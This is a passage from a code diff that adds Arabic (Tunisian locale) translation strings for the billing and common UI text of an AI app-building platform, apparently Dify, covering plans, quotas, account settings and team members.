+  currentPlan: 'الخطة الحالية',
+  usagePage: {
+    teamMembers: 'أعضاء الفريق',
+    buildApps: 'بناء التطبيقات',
+    annotationQuota: 'حصة التعليقات التوضيحية',
+    documentsUploadQuota: 'حصة رفع المستندات',
+    vectorSpace: 'تخزين بيانات المعرفة',
+    vectorSpaceTooltip: 'ستستهلك المستندات ذات وضع الفهرسة عالي الجودة موارد تخزين بيانات المعرفة. عندما يصل تخزين بيانات المعرفة إلى الحد الأقصى، لن يتم تحميل مستندات جديدة.',
+    triggerEvents: 'أحداث المشغل',
+    perMonth: 'شهريًا',
+    resetsIn: 'يتم إعادة التعيين في {{count,number}} أيام',
+  },
+  teamMembers: 'أعضاء الفريق',
+  triggerLimitModal: {
+    title: 'ترقية لفتح المزيد من أحداث المشغل',
+    description: 'لقد وصلت إلى الحد الأقصى لمشغلات أحداث سير العمل لهذه الخطة.',
+    dismiss: 'تجاهل',
+    upgrade: 'ترقية',
+    usageTitle: 'أحداث المشغل',
+  },
+  upgradeBtn: {
+    plain: 'عرض الخطة',
+    encourage: 'الترقية الآن',
+    encourageShort: 'ترقية',
+  },
+  viewBilling: 'إدارة الفواتير والاشتراكات',
+  buyPermissionDeniedTip: 'يرجى الاتصال بمسؤول المؤسسة للاشتراك',
+  plansCommon: {
+    title: {
+      plans: 'الخطط',
+      description: 'اختر الخطة التي تناسب احتياجات فريقك.',
+    },
+    freeTrialTipPrefix: 'سجل واحصل على ',
+    freeTrialTip: 'تجربة مجانية لـ 200 مكالمة OpenAI. ',
+    freeTrialTipSuffix: 'لا تتطلب بطاقة ائتمان',
+    yearlyTip: 'ادفع لمدة 10 أشهر، واستمتع بسنة كاملة!',
+    mostPopular: 'الأكثر شعبية',
+    cloud: 'خدمة سحابية',
+    self: 'مستضافة ذاتيًا',
+    planRange: {
+      monthly: 'شهري',
+      yearly: 'سنوي',
+    },
+    month: 'شهر',
+    year: 'سنة',
+    save: 'وفر ',
+    free: 'مجاني',
+    annualBilling: 'الفوترة السنوية توفر {{percent}}%',
+    taxTip: 'جميع أسعار الاشتراك (الشهرية / السنوية) لا تشمل الضرائب المطبقة (مثل ضريبة القيمة المضافة وضريبة المبيعات).',
+    taxTipSecond: 'إذا لم تكن في منطقتك متطلبات ضريبية، فلن تظهر أي ضريبة عند الدفع، ولن يتم تحصيل أي رسوم إضافية طوال فترة الاشتراك.',
+    comparePlanAndFeatures: 'قارن الخطط والميزات',
+    priceTip: 'لكل مساحة عمل/',
+    currentPlan: 'الخطة الحالية',
+    contractSales: 'اتصل بالمبيعات',
+    contractOwner: 'اتصل بمدير الفريق',
+    startForFree: 'ابدأ مجانًا',
+    startBuilding: 'ابدأ البناء',
+    getStarted: 'ابدأ الآن',
+    contactSales: 'اتصل بالمبيعات',
+    talkToSales: 'تحدث إلى المبيعات',
+    modelProviders: 'دعم OpenAI/Anthropic/Llama2/Azure OpenAI/Hugging Face/Replicate',
+    teamWorkspace: '{{count,number}} مساحة عمل للفريق',
+    teamMember_one: '{{count,number}} عضو في الفريق',
+    teamMember_other: '{{count,number}} أعضاء في الفريق',
+    annotationQuota: 'حصة التعليقات التوضيحية',
+    buildApps: '{{count,number}} تطبيقات',
+    documents: '{{count,number}} مستندات معرفة',
+    documentsTooltip: 'الحصة لعدد المستندات المستوردة من مصدر بيانات المعرفة.',
+    vectorSpace: '{{size}} تخزين بيانات المعرفة',
+    vectorSpaceTooltip: 'ستستهلك المستندات ذات وضع الفهرسة عالي الجودة موارد تخزين بيانات المعرفة. عندما يصل تخزين بيانات المعرفة إلى الحد الأقصى، لن يتم تحميل مستندات جديدة.',
+    documentsRequestQuota: '{{count,number}} طلب معرفة/دقيقة',
+    documentsRequestQuotaTooltip: 'يحدد العدد الإجمالي للإجراءات التي يمكن لمساحة العمل تنفيذها كل دقيقة داخل قاعدة المعرفة، بما في ذلك إنشاء مجموعة البيانات، والحذف، والتحديثات، ورفع المستندات، والتعديلات، والأرشفة، واستعلامات قاعدة المعرفة. يتم استخدام هذا المقياس لتقييم أداء طلبات قاعدة المعرفة. على سبيل المثال، إذا أجرى مستخدم Sandbox 10 اختبارات hit متتالية في دقيقة واحدة، فسيتم تقييد مساحة العمل الخاصة به مؤقتًا من تنفيذ الإجراءات التالية للدقيقة التالية: إنشاء مجموعة البيانات، والحذف، والتحديثات، ورفع المستندات أو التعديلات. ',
+    apiRateLimit: 'حد معدل API',
+    apiRateLimitUnit: '{{count,number}}',
+    unlimitedApiRate: 'لا يوجد حد لمعدل API لـ Dify',
+    apiRateLimitTooltip: 'ينطبق حد معدل API على جميع الطلبات التي يتم إجراؤها من خلال Dify API، بما في ذلك توليد النصوص، ومحادثات الدردشة، وتنفيذ سير العمل، ومعالجة المستندات.',
+    documentProcessingPriority: ' أولوية معالجة المستندات',
+    documentProcessingPriorityTip: 'لأولوية معالجة مستندات أعلى، يرجى ترقية خطتك.',
+    documentProcessingPriorityUpgrade: 'معالجة المزيد من البيانات بدقة أعلى وسرعة أكبر.',
+    priority: {
+      'standard': 'قياسي',
+      'priority': 'أولوية',
+      'top-priority': 'أولوية قصوى',
+    },
+    triggerEvents: {
+      sandbox: '{{count,number}} أحداث مشغل',
+      professional: '{{count,number}} أحداث مشغل/شهر',
+      unlimited: 'أحداث مشغل غير محدودة',
+      tooltip: 'عدد الأحداث التي تبدأ سير العمل تلقائيًا من خلال مشغلات الإضافات أو الجدول الزمني أو Webhook.',
+    },
+    workflowExecution: {
+      standard: 'تنفيذ سير عمل قياسي',
+      faster: 'تنفيذ سير عمل أسرع',
+      priority: 'تنفيذ سير عمل ذو أولوية',
+      tooltip: 'أولوية وسرعة قائمة انتظار تنفيذ سير العمل.',
+    },
+    startNodes: {
+      limited: 'ما يصل إلى {{count}} مشغلات/سير عمل',
+      unlimited: 'مشغلات غير محدودة/سير عمل',
+    },
+    logsHistory: '{{days}} تاريخ السجلات',
+    customTools: 'أدوات مخصصة',
+    unavailable: 'غير متوفر',
+    days: 'أيام',
+    unlimited: 'غير محدود',
+    support: 'الدعم',
+    supportItems: {
+      communityForums: 'منتديات المجتمع',
+      emailSupport: 'دعم البريد الإلكتروني',
+      priorityEmail: 'أولوية دعم البريد الإلكتروني والدردشة',
+      logoChange: 'تغيير الشعار',
+      SSOAuthentication: 'مصادقة SSO',
+      personalizedSupport: 'دعم مخصص',
+      dedicatedAPISupport: 'دعم API مخصص',
+      customIntegration: 'تكامل ودعم مخصص',
+      ragAPIRequest: 'طلبات RAG API',
+      bulkUpload: 'رفع المستندات بالجملة',
+      agentMode: 'وضع الوكيل',
+      workflow: 'سير العمل',
+      llmLoadingBalancing: 'موازنة حمل LLM',
+      llmLoadingBalancingTooltip: 'أضف مفاتيح API متعددة للنماذج، مما يتيح تجاوز حدود معدل API بشكل فعال. ',
+    },
+    comingSoon: 'قريبا',
+    member: 'عضو',
+    memberAfter: 'عضو',
+    messageRequest: {
+      title: '{{count,number}} أرصدة الرسائل',
+      titlePerMonth: '{{count,number}} أرصدة رسائل/شهر',
+      tooltip: 'يتم توفير أرصدة الرسائل لمساعدتك على تجربة نماذج OpenAI المختلفة بسهولة في Dify. يتم استهلاك الأرصدة بناءً على نوع النموذج. بمجرد نفادها، يمكنك التبديل إلى مفتاح OpenAI API الخاص بك.',
+    },
+    annotatedResponse: {
+      title: '{{count,number}} حدود حصة التعليقات التوضيحية',
+      tooltip: 'يوفر التحرير اليدوي والتعليق على الردود قدرات إجابة على الأسئلة عالية الجودة وقابلة للتخصيص للتطبيقات. (ينطبق فقط في تطبيقات الدردشة)',
+    },
+    ragAPIRequestTooltip: 'يشير إلى عدد مكالمات API التي تستدعي فقط قدرات معالجة قاعدة المعرفة في Dify.',
+    receiptInfo: 'يمكن لمالك الفريق ومشرف الفريق فقط الاشتراك وعرض معلومات الفوترة',
+  },
+  plans: {
+    sandbox: {
+      name: 'Sandbox',
+      for: 'تجربة مجانية للقدرات الأساسية',
+      description: 'جرب الميزات الأساسية مجانًا.',
+    },
+    professional: {
+      name: 'احترافي',
+      for: 'للمطورين المستقلين / الفرق الصغيرة',
+      description: 'للمطورين المستقلين والفرق الصغيرة المستعدة لبناء تطبيقات الذكاء الاصطناعي الإنتاجية.',
+    },
+    team: {
+      name: 'فريق',
+      for: 'للفرق متوسطة الحجم',
+      description: 'للفرق متوسطة الحجم التي تتطلب التعاون وإنتاجية أعلى.',
+    },
+    community: {
+      name: 'مجتمع',
+      for: 'للمستخدمين الأفراد، أو الفرق الصغيرة، أو المشاريع غير التجارية',
+      description: 'للمتحمسين للمصادر المفتوحة، والمطورين الأفراد، والمشاريع غير التجارية',
+      price: 'مجاني',
+      btnText: 'ابدأ الآن',
+      includesTitle: 'ميزات مجانية:',
+      features: ['تم إصدار جميع الميزات الأساسية تحت المستودع العام', 'مساحة عمل واحدة', 'متوافق مع ترخيص ديفي المفتوح المصدر'],
+    },
+    premium: {
+      name: 'بريميوم',
+      for: 'للمؤسسات والفرق متوسطة الحجم',
+      description: 'للمؤسسات متوسطة الحجم التي تحتاج إلى مرونة في النشر ودعم معزز',
+      price: 'قابل للتطوير',
+      priceTip: 'استنادًا إلى سوق السحابة',
+      btnText: 'احصل على بريميوم على',
+      includesTitle: 'كل شيء من المجتمع، بالإضافة إلى:',
+      comingSoon: 'دعم Microsoft Azure و Google Cloud قريبا',
+      features: ['الاعتمادية المدارة ذاتيًا من قبل مختلف مزودي السحابة', 'مساحة عمل واحدة', 'تخصيص شعار وهوية التطبيق الإلكتروني', 'دعم البريد الإلكتروني والمحادثة ذو الأولوية'],
+    },
+    enterprise: {
+      name: 'مؤسسة (Enterprise)',
+      for: 'للفرق كبيرة الحجم',
+      description: 'للمؤسسات التي تتطلب أمانًا وامتثالًا وقابلية للتوسع وتحكمًا وحلولًا مخصصة على مستوى المؤسسة',
+      price: 'مخصص',
+      priceTip: 'الفوترة السنوية فقط',
+      btnText: 'اتصل بالمبيعات',
+      includesTitle: 'كل شيء من <highlight>بريميوم</highlight>، بالإضافة إلى:',
+      features: ['حلول نشر قابلة للتوسع على مستوى المؤسسات', 'تفويض الترخيص التجاري', 'ميزات حصرية للمؤسسات', 'مساحات عمل متعددة وإدارة المؤسسات', 'تسجيل الدخول الموحد', 'اتفاقيات مستوى الخدمة المتفاوض عليها من قبل شركاء ديفي', 'الأمان والتحكم المتقدم', 'التحديثات والصيانة بواسطة Dify رسميًا', 'الدعم الفني المهني'],
+    },
+  },
+  vectorSpace: {
+    fullTip: 'مساحة المتجه ممتلئة.',
+    fullSolution: 'قم بترقية خطتك للحصول على مساحة أكبر.',
+  },
+  apps: {
+    fullTip1: 'ترقية لإنشاء المزيد من التطبيقات',
+    fullTip1des: 'لقد وصلت إلى الحد الأقصى لبناء التطبيقات في هذه الخطة',
+    fullTip2: 'تم الوصول إلى حد الخطة',
+    fullTip2des: 'يوصى بتنظيف التطبيقات غير النشطة لتحرير الاستخدام، أو الاتصال بنا.',
+    contactUs: 'اتصل بنا',
+  },
+  annotatedResponse: {
+    fullTipLine1: 'قم بترقية خطتك لـ',
+    fullTipLine2: 'التعليق على المزيد من المحادثات.',
+    quotaTitle: 'حصة رد التعليقات التوضيحية',
+  },
+  viewBillingTitle: 'الفوترة والاشتراكات',
+  viewBillingDescription: 'إدارة طرق الدفع والفواتير وتغييرات الاشتراك',
+  viewBillingAction: 'يدير',
+  upgrade: {
+    uploadMultiplePages: {
+      title: 'قم بالترقية لتحميل عدة مستندات دفعة واحدة',
+      description: 'لقد وصلت إلى حد التحميل — يمكن اختيار ورفع مستند واحد فقط في كل مرة على الخطة الحالية الخاصة بك.',
+    },
+    uploadMultipleFiles: {
+      title: 'قم بالترقية لفتح ميزة تحميل المستندات دفعة واحدة',
+      description: 'قم بتحميل المزيد من المستندات دفعة واحدة لتوفير الوقت وتحسين الكفاءة.',
+    },
+    addChunks: {
+      title: 'قم بالترقية لمواصلة إضافة المقاطع',
+      description: 'لقد وصلت إلى الحد الأقصى لإضافة الأجزاء لهذا الخطة.',
+    },
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/common.ts b/web/i18n/ar-TN/common.ts
new file mode 100644
index 0000000000..b1f4f46f22
--- /dev/null
+++ b/web/i18n/ar-TN/common.ts
@@ -0,0 +1,792 @@
+const translation = {
+  theme: {
+    theme: 'السمة',
+    light: 'فاتح',
+    dark: 'داكن',
+    auto: 'النظام',
+  },
+  api: {
+    success: 'نجاح',
+    actionSuccess: 'نجح الإجراء',
+    saved: 'تم الحفظ',
+    create: 'تم الإنشاء',
+    remove: 'تمت الإزالة',
+    actionFailed: 'فشل الإجراء',
+  },
+  operation: {
+    create: 'إنشاء',
+    confirm: 'تأكيد',
+    cancel: 'إلغاء',
+    clear: 'مسح',
+    save: 'حفظ',
+    yes: 'نعم',
+    no: 'لا',
+    deleteConfirmTitle: 'حذف؟',
+    confirmAction: 'يرجى تأكيد الإجراء الخاص بك.',
+    saveAndEnable: 'حفظ وتمكين',
+    edit: 'تعديل',
+    add: 'إضافة',
+    added: 'تمت الإضافة',
+    refresh: 'إعادة تشغيل',
+    reset: 'إعادة تعيين',
+    search: 'بحث',
+    noSearchResults: 'لم يتم العثور على {{content}}',
+    resetKeywords: 'إعادة تعيين الكلمات الرئيسية',
+    selectCount: 'تم تحديد {{count}}',
+    searchCount: 'ابحث عن {{count}} {{content}}',
+    noSearchCount: '0 {{content}}',
+    change: 'تغيير',
+    remove: 'إزالة',
+    send: 'إرسال',
+    copy: 'نسخ',
+    copied: 'تم النسخ',
+    lineBreak: 'فاصل أسطر',
+    sure: 'أنا متأكد',
+    download: 'تنزيل',
+    downloadSuccess: 'اكتمل التنزيل.',
+    downloadFailed: 'فشل التنزيل. يرجى المحاولة مرة أخرى لاحقًا.',
+    viewDetails: 'عرض التفاصيل',
+    delete: 'حذف',
+    now: 'الآن',
+    deleteApp: 'حذف التطبيق',
+    settings: 'الإعدادات',
+    setup: 'إعداد',
+    config: 'تكوين',
+    getForFree: 'احصل عليه مجانا',
+    reload: 'إعادة تحميل',
+    ok: 'موافق',
+    log: 'سجل',
+    learnMore: 'تعرف على المزيد',
+    params: 'معلمات',
+    duplicate: 'تكرار',
+    rename: 'إعادة تسمية',
+    audioSourceUnavailable: 'مصدر الصوت غير متاح',
+    close: 'إغلاق',
+    copyImage: 'نسخ الصورة',
+    imageCopied: 'تم نسخ الصورة',
+    zoomOut: 'تصغير',
+    zoomIn: 'تكبير',
+    openInNewTab: 'فتح في علامة تبويب جديدة',
+    in: 'في',
+    saveAndRegenerate: 'حفظ وإعادة إنشاء القطع الفرعية',
+    view: 'عرض',
+    viewMore: 'عرض المزيد',
+    regenerate: 'إعادة إنشاء',
+    submit: 'إرسال',
+    skip: 'تخطي',
+    format: 'تنسيق',
+    more: 'المزيد',
+    selectAll: 'تحديد الكل',
+    deSelectAll: 'إلغاء تحديد الكل',
+  },
+  errorMsg: {
+    fieldRequired: '{{field}} مطلوب',
+    urlError: 'يجب أن يبدأ العنوان بـ http:// أو https://',
+  },
+  placeholder: {
+    input: 'يرجى الإدخال',
+    select: 'يرجى التحديد',
+    search: 'بحث...',
+  },
+  noData: 'لا توجد بيانات',
+  label: {
+    optional: '(اختياري)',
+  },
+  voice: {
+    language: {
+      zhHans: 'الصينية',
+      zhHant: 'الصينية التقليدية',
+      enUS: 'الإنجليزية',
+      deDE: 'الألمانية',
+      frFR: 'الفرنسية',
+      esES: 'الإسبانية',
+      itIT: 'الإيطالية',
+      thTH: 'التايلاندية',
+      idID: 'الإندونيسية',
+      jaJP: 'اليابانية',
+      koKR: 'الكورية',
+      ptBR: 'البرتغالية',
+      ruRU: 'الروسية',
+      ukUA: 'الأوكرانية',
+      viVN: 'الفيتنامية',
+      plPL: 'البولندية',
+      roRO: 'الرومانية',
+      hiIN: 'الهندية',
+      trTR: 'التركية',
+      faIR: 'الفارسية',
+      slSI: 'السلوفينية',
+      arTN: 'العربية التونسية',
+    },
+  },
+  unit: {
+    char: 'أحرف',
+  },
+  actionMsg: {
+    noModification: 'لا توجد تعديلات في الوقت الحالي.',
+    modifiedSuccessfully: 'تم التعديل بنجاح',
+    modifiedUnsuccessfully: 'فشل التعديل',
+    copySuccessfully: 'تم النسخ بنجاح',
+    paySucceeded: 'نجح الدفع',
+    payCancelled: 'تم إلغاء الدفع',
+    generatedSuccessfully: 'تم الإنشاء بنجاح',
+    generatedUnsuccessfully: 'فشل الإنشاء',
+  },
+  model: {
+    params: {
+      temperature: 'درجة الحرارة',
+      temperatureTip:
+        'تتحكم في العشوائية: يؤدي التخفيض إلى إكمالات أقل عشوائية. مع اقتراب درجة الحرارة من الصفر، سيصبح النموذج حتميًا ومتكررًا.',
+      top_p: 'أعلى P',
+      top_pTip:
+        'تتحكم في التنوع عبر عينات النواة: 0.5 تعني أنه يتم النظر في نصف جميع الخيارات المرجحة للاحتمالية.',
+      presence_penalty: 'عقوبة الحضور',
+      presence_penaltyTip:
+        'مقدار معاقبة الرموز الجديدة بناءً على ما إذا كانت تظهر في النص حتى الآن.\nيزيد من احتمال تحدث النموذج عن مواضيع جديدة.',
+      frequency_penalty: 'عقوبة التردد',
+      frequency_penaltyTip:
+        'مقدار معاقبة الرموز الجديدة بناءً على ترددها الحالي في النص حتى الآن.\nيقلل من احتمال تكرار النموذج لنفس السطر حرفيًا.',
+      max_tokens: 'أقصى رمز',
+      max_tokensTip:
+        'يستخدم للحد من الطول الأقصى للرد، بالرموز. \nقد تحد القيم الأكبر من المساحة المتبقية للكلمات السريعة وسجلات الدردشة والمعرفة. \nيوصى بضبطه أقل من الثلثين\ngpt-4-1106-preview، gpt-4-vision-preview أقصى رمز (إدخال 128k إخراج 4k)',
+      maxTokenSettingTip: 'إعداد الرموز القصوى الخاص بك مرتفع، مما قد يحد من المساحة للمطالبات والاستعلامات والبيانات. فكر في ضبطه أقل من 2/3.',
+      setToCurrentModelMaxTokenTip: 'يتم تحديث الحد الأقصى للرموز إلى 80٪ من الحد الأقصى لرموز النموذج الحالي {{maxToken}}.',
+      stop_sequences: 'تسلسلات التوقف',
+      stop_sequencesTip: 'ما يصل إلى أربعة تسلسلات حيث ستتوقف API عن توليد المزيد من الرموز. لن يحتوي النص المرتجع على تسلسل التوقف.',
+      stop_sequencesPlaceholder: 'أدخل التسلسل واضغط على Tab',
+    },
+    tone: {
+      Creative: 'إبداعي',
+      Balanced: 'متوازن',
+      Precise: 'دقيق',
+      Custom: 'مخصص',
+    },
+    addMoreModel: 'انتقل إلى الإعدادات لإضافة المزيد من النماذج',
+    settingsLink: 'إعدادات مزود النموذج',
+    capabilities: 'قدرات متعددة الوسائط',
+  },
+  menus: {
+    status: 'بيتا',
+    explore: 'استكشاف',
+    apps: 'الاستوديو',
+    appDetail: 'تفاصيل التطبيق',
+    account: 'الحساب',
+    plugins: 'الإضافات',
+    exploreMarketplace: 'استكشاف السوق',
+    pluginsTips: 'ادمج الإضافات الخارجية أو أنشئ إضافات AI متوافقة مع ChatGPT.',
+    datasets: 'المعرفة',
+    datasetsTips: 'قريباً: استيراد بيانات النص الخاصة بك أو كتابة البيانات في الوقت الفعلي عبر Webhook لتحسين سياق LLM.',
+    newApp: 'تطبيق جديد',
+    newDataset: 'إنشاء معرفة',
+    tools: 'الأدوات',
+  },
+  userProfile: {
+    settings: 'الإعدادات',
+    contactUs: 'اتصل بنا',
+    emailSupport: 'دعم البريد الإلكتروني',
+    workspace: 'مساحة العمل',
+    createWorkspace: 'إنشاء مساحة عمل',
+    helpCenter: 'عرض المستندات',
+    support: 'دعم',
+    compliance: 'الامتثال',
+    forum: 'المنتدى',
+    roadmap: 'خارطة الطريق',
+    github: 'GitHub',
+    community: 'المجتمع',
+    about: 'حول',
+    logout: 'تسجيل الخروج',
+  },
+  compliance: {
+    soc2Type1: 'تقرير SOC 2 النوع الأول',
+    soc2Type2: 'تقرير SOC 2 النوع الثاني',
+    iso27001: 'شهادة ISO 27001:2022',
+    gdpr: 'GDPR DPA',
+    sandboxUpgradeTooltip: 'متاح فقط مع خطة المحترفين أو الفريق.',
+    professionalUpgradeTooltip: 'متاح فقط مع خطة الفريق أو أعلى.',
+  },
+  settings: {
+    accountGroup: 'عام',
+    workplaceGroup: 'مساحة العمل',
+    generalGroup: 'عام',
+    account: 'حسابي',
+    members: 'الأعضاء',
+    billing: 'الفوترة',
+    integrations: 'التكاملات',
+    language: 'اللغة',
+    provider: 'مزود النموذج',
+    dataSource: 'مصدر البيانات',
+    plugin: 'الإضافات',
+    apiBasedExtension: 'ملحق API',
+  },
+  account: {
+    account: 'الحساب',
+    myAccount: 'حسابي',
+    studio: 'الاستوديو',
+    avatar: 'الصورة الرمزية',
+    name: 'الاسم',
+    email: 'البريد الإلكتروني',
+    password: 'كلمة المرور',
+    passwordTip: 'يمكنك تعيين كلمة مرور دائمية إذا كنت لا ترغب في استخدام رموز تسجيل الدخول المؤقتة',
+    setPassword: 'تعيين كلمة مرور',
+    resetPassword: 'إعادة تعيين كلمة المرور',
+    currentPassword: 'كلمة المرور الحالية',
+    newPassword: 'كلمة مرور جديدة',
+    confirmPassword: 'تأكيد كلمة المرور',
+    notEqual: 'كلمتا المرور مختلفتان.',
+    langGeniusAccount: 'بيانات الحساب',
+    langGeniusAccountTip: 'بيانات المستخدم الخاصة بحسابك.',
+    editName: 'تعديل الاسم',
+    showAppLength: 'عرض {{length}} تطبيقات',
+    delete: 'حذف الحساب',
+    deleteTip: 'يرجى ملاحظة أنه بمجرد التأكيد، بصفتك مالكًا لأي مساحات عمل، سيتم جدولة مساحات العمل الخاصة بك في قائمة انتظار للحذف الدائم، وسيتم جدولة جميع بيانات المستخدم الخاصة بك للحذف الدائم.',
+    deletePrivacyLinkTip: 'لمزيد من المعلومات حول كيفية تعاملنا مع بياناتك، يرجى الاطلاع على ',
+    deletePrivacyLink: 'سياسة الخصوصية.',
+    deleteSuccessTip: 'يحتاج حسابك إلى وقت للانتهاء من الحذف. سنرسل إليك بريدًا إلكترونيًا عندما ينتهي كل شيء.',
+    deleteLabel: 'للتأكيد، يرجى كتابة بريدك الإلكتروني أدناه',
+    deletePlaceholder: 'يرجى إدخال بريدك الإلكتروني',
+    sendVerificationButton: 'إرسال رمز التحقق',
+    verificationLabel: 'رمز التحقق',
+    verificationPlaceholder: 'الصق الرمز المكون من 6 أرقام',
+    permanentlyDeleteButton: 'حذف الحساب نهائيًا',
+    feedbackTitle: 'تعليق',
+    feedbackLabel: 'أخبرنا لماذا حذفت حسابك؟',
+    feedbackPlaceholder: 'اختياري',
+    editWorkspaceInfo: 'تعديل معلومات مساحة العمل',
+    workspaceName: 'اسم مساحة العمل',
+    workspaceIcon: 'رمز مساحة العمل',
+    changeEmail: {
+      title: 'تغيير البريد الإلكتروني',
+      verifyEmail: 'تحقق من بريدك الإلكتروني الحالي',
+      newEmail: 'إعداد عنوان بريد إلكتروني جديد',
+      verifyNew: 'تحقق من بريدك الإلكتروني الجديد',
+      authTip: 'بمجرد تغيير بريدك الإلكتروني، لن تتمكن حسابات Google أو GitHub المرتبطة ببريدك الإلكتروني القديم من تسجيل الدخول إلى هذا الحساب.',
+      content1: 'إذا تابعت، فسنرسل رمز تحقق إلى <email>{{email}}</email> لإعادة المصادقة.',
+      content2: 'بريدك الإلكتروني الحالي هو <email>{{email}}</email>. تم إرسال رمز التحقق إلى عنوان البريد الإلكتروني هذا.',
+      content3: 'أدخل بريدًا إلكترونيًا جديدًا وسنرسل لك رمز التحقق.',
+      content4: 'لقد أرسلنا لك للتو رمز تحقق مؤقت إلى <email>{{email}}</email>.',
+      codeLabel: 'رمز التحقق',
+      codePlaceholder: 'الصق الرمز المكون من 6 أرقام',
+      emailLabel: 'بريد إلكتروني جديد',
+      emailPlaceholder: 'أدخل بريدًا إلكترونيًا جديدًا',
+      existingEmail: 'مستخدم بهذا البريد الإلكتروني موجود بالفعل.',
+      unAvailableEmail: 'هذا البريد الإلكتروني غير متاح مؤقتًا.',
+      sendVerifyCode: 'إرسال رمز التحقق',
+      continue: 'متابعة',
+      changeTo: 'تغيير إلى {{email}}',
+      resendTip: 'لم تتلق رمزًا؟',
+      resendCount: 'إعادة إرسال في {{count}} ثانية',
+      resend: 'إعادة إرسال',
+    },
+  },
+  members: {
+    team: 'الفريق',
+    invite: 'إضافة',
+    name: 'الاسم',
+    lastActive: 'آخر نشاط',
+    role: 'الأدوار',
+    pending: 'قيد الانتظار...',
+    owner: 'المالك',
+    admin: 'المسؤول',
+    adminTip: 'يمكنه بناء التطبيقات وإدارة إعدادات الفريق',
+    normal: 'عادي',
+    normalTip: 'يمكنه استخدام التطبيقات فقط، ولا يمكنه بناء التطبيقات',
+    builder: 'باني',
+    builderTip: 'يمكنه بناء وتعديل تطبيقاته الخاصة',
+    editor: 'محرر',
+    editorTip: 'يمكنه بناء وتعديل التطبيقات',
+    datasetOperator: 'مسؤول المعرفة',
+    datasetOperatorTip: 'يمكنه إدارة قاعدة المعرفة فقط',
+    inviteTeamMember: 'إضافة عضو فريق',
+    inviteTeamMemberTip: 'يمكنهم الوصول إلى بيانات فريقك مباشرة بعد تسجيل الدخول.',
+    emailNotSetup: 'لم يتم إعداد خادم البريد الإلكتروني، لذا لا يمكن إرسال رسائل بريد إلكتروني للدعوة. يرجى إخطار المستخدمين برابط الدعوة الذي سيتم إصداره بعد الدعوة بدلاً من ذلك.',
+    email: 'البريد الإلكتروني',
+    emailInvalid: 'تنسيق البريد الإلكتروني غير صالح',
+    emailPlaceholder: 'يرجى إدخال رسائل البريد الإلكتروني',
+    sendInvite: 'إرسال دعوة',
+    invitedAsRole: 'تمت الدعوة كمستخدم {{role}}',
+    invitationSent: 'تم إرسال الدعوة',
+    invitationSentTip: 'تم إرسال الدعوة، ويمكنهم تسجيل الدخول إلى Dify للوصول إلى بيانات فريقك.',
+    invitationLink: 'رابط الدعوة',
+    failedInvitationEmails: 'لم تتم دعوة المستخدمين أدناه بنجاح',
+    ok: 'موافق',
+    removeFromTeam: 'إزالة من الفريق',
+    removeFromTeamTip: 'سيتم إزالة وصول الفريق',
+    setAdmin: 'تعيين كمسؤول',
+    setMember: 'تعيين كعضو عادي',
+    setBuilder: 'تعيين كباني',
+    setEditor: 'تعيين كمحرر',
+    disInvite: 'إلغاء الدعوة',
+    deleteMember: 'حذف العضو',
+    you: '(أنت)',
+    transferOwnership: 'نقل الملكية',
+    transferModal: {
+      title: 'نقل ملكية مساحة العمل',
+      warning: 'أنت على وشك نقل ملكية "{{workspace}}". يسري هذا المفعول فورًا ولا يمكن التراجع عنه.',
+      warningTip: 'ستصبح عضوًا مسؤولاً، وسيتمتع المالك الجديد بالتحكم الكامل.',
+      sendTip: 'إذا تابعت، فسنرسل رمز تحقق إلى <email>{{email}}</email> لإعادة المصادقة.',
+      verifyEmail: 'تحقق من بريدك الإلكتروني الحالي',
+      verifyContent: 'بريدك الإلكتروني الحالي هو <email>{{email}}</email>.',
+      verifyContent2: 'سنرسل رمز تحقق مؤقت إلى هذا البريد الإلكتروني لإعادة المصادقة.',
+      codeLabel: 'رمز التحقق',
+      codePlaceholder: 'الصق الرمز المكون من 6 أرقام',
+      resendTip: 'لم تتلق رمزًا؟',
+      resendCount: 'إعادة إرسال في {{count}} ثانية',
+      resend: 'إعادة إرسال',
+      transferLabel: 'نقل ملكية مساحة العمل إلى',
+      transferPlaceholder: 'حدد عضو مساحة عمل...',
+      sendVerifyCode: 'إرسال رمز التحقق',
+      continue: 'متابعة',
+      transfer: 'نقل ملكية مساحة العمل',
+    },
+  },
+  feedback: {
+    title: 'تقديم تعليق',
+    subtitle: 'من فضلك أخبرنا ما الخطأ في هذه الاستجابة',
+    content: 'محتوى التعليق',
+    placeholder: 'يرجى وصف ما حدث خطأ أو كيف يمكننا التحسين...',
+  },
+  integrations: {
+    connected: 'متصل',
+    google: 'Google',
+    googleAccount: 'تسجيل الدخول بحساب Google',
+    github: 'GitHub',
+    githubAccount: 'تسجيل الدخول بحساب GitHub',
+    connect: 'اتصال',
+  },
+  language: {
+    displayLanguage: 'لغة العرض',
+    timezone: 'المنطقة الزمنية',
+  },
+  provider: {
+    apiKey: 'مفتاح API',
+    enterYourKey: 'أدخل مفتاح API الخاص بك هنا',
+    invalidKey: 'مفتاح OpenAI API غير صالح',
+    validatedError: 'فشل التحقق: ',
+    validating: 'جارٍ التحقق من المفتاح...',
+    saveFailed: 'فشل حفظ مفتاح api',
+    apiKeyExceedBill: 'لا يحتوي مفتاح API هذا على حصة متاحة، يرجى القراءة',
+    addKey: 'إضافة مفتاح',
+    comingSoon: 'قريباً',
+    editKey: 'تعديل',
+    invalidApiKey: 'مفتاح API غير صالح',
+    azure: {
+      apiBase: 'قاعدة API',
+      apiBasePlaceholder: 'عنوان URL لقاعدة API لنقطة نهاية Azure OpenAI الخاصة بك.',
+      apiKey: 'مفتاح API',
+      apiKeyPlaceholder: 'أدخل مفتاح API الخاص بك هنا',
+      helpTip: 'تعلم خدمة Azure OpenAI',
+    },
+    openaiHosted: {
+      openaiHosted: 'OpenAI المستضافة',
+      onTrial: 'في التجربة',
+      exhausted: 'نفدت الحصة',
+      desc: 'تسمح لك خدمة استضافة OpenAI المقدمة من Dify باستخدام نماذج مثل GPT-3.5. قبل نفاد حصة التجربة الخاصة بك، تحتاج إلى إعداد موفري نماذج آخرين.',
+      callTimes: 'أوقات الاتصال',
+      usedUp: 'نفدت حصة التجربة. أضف مزود النموذج الخاص بك.',
+      useYourModel: 'تستخدم حاليًا مزود النموذج الخاص بك.',
+      close: 'إغلاق',
+    },
+    anthropicHosted: {
+      anthropicHosted: 'Anthropic Claude',
+      onTrial: 'في التجربة',
+      exhausted: 'نفدت الحصة',
